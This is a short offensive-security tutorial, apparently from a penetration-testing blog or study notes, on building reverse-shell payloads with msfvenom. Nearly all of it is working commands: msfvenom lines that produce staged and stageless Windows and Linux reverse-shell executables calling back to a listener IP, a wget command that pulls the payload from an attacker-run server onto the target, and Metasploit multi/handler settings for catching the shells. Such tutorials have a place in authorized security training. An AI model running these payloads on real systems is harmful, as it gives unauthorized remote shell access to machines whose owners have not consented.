Creating payloads with msfvenom

Msfvenom is a Swiss Army knife of payload creation, combining the functionality of the former msfpayload and msfencode tools into a single multi-purpose payload generator. It enables us to create standalone executables, shared libraries, web pages, and scripts that can be used to deliver payloads to target systems.

Lets see how we can use msfvenom to create our payloads.

- List all payloads in msfvenom related to Windows x64 architecture.

```
msfvenom -l payloads --platform windows --arch x64

msfvenom -l payloads --platform linux --arch x64
```

- Creates an Windows executable with a generic stageless shell payload using the below command.

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.119.2 LPORT=4444 -
f exe -o nonstaged.exe

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.119.2 LPORT=4444 -f
elf -o nonstaged.elf
```

- Download it onto the target using wget and will catch it on your netcat listener.

```
wget http://192.168.45.165:8000/nonstaged.elf
```

- We can also create staged payloads using msfvenom.

```
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.45.165 LPORT=443 -
f exe -o staged.exe

msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.45.165 LPORT=443 -f
elf -o staged.elf
```

```
wget http://192.168.45.165:8000/staged.elf
```

- Netcat do not work well will staged payload. For these type of payloads, we can use metasploit own listener called multi hanlder.

```
use multi/handler

set payload windows/x64/shell/reverse_tcp

set LHOST 192.168.45.165

set LPORT 443

run
```

- We can background the sessions with the below command and then interact with it later.

```
msf6 exploit(multi/handler) > run -j

# List all background jobs

jobs
```

To generate the payloads for various platforms and architecture, i would like to share an online resource with you.

Rev shell Generator - https://www.revshells.com/
